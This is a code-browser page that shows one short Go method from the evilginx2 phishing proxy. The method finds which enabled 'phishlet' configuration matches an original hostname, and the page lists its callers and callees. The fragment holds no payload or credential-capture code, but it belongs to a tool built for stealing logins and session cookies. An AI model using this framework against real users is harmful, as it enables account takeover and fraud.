MCPcopy
hub / github.com/kgretzky/evilginx2 / getPhishletByOrigHost

Method getPhishletByOrigHost

core/http_proxy.go:1656–1667  ·  view source on GitHub ↗
(hostname string)

Source from the content-addressed store, hash-verified

1654}
1655
1656func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet {
1657 for site, pl := range p.cfg.phishlets {
1658 if p.cfg.IsSiteEnabled(site) {
1659 for _, ph := range pl.proxyHosts {
1660 if hostname == combineHost(ph.orig_subdomain, ph.domain) {
1661 return pl
1662 }
1663 }
1664 }
1665 }
1666 return nil
1667}
1668
1669func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
1670 for site, pl := range p.cfg.phishlets {

Callers 1

NewHttpProxyFunction · 0.95

Calls 2

combineHostFunction · 0.85
IsSiteEnabledMethod · 0.80

Tested by

no test coverage detected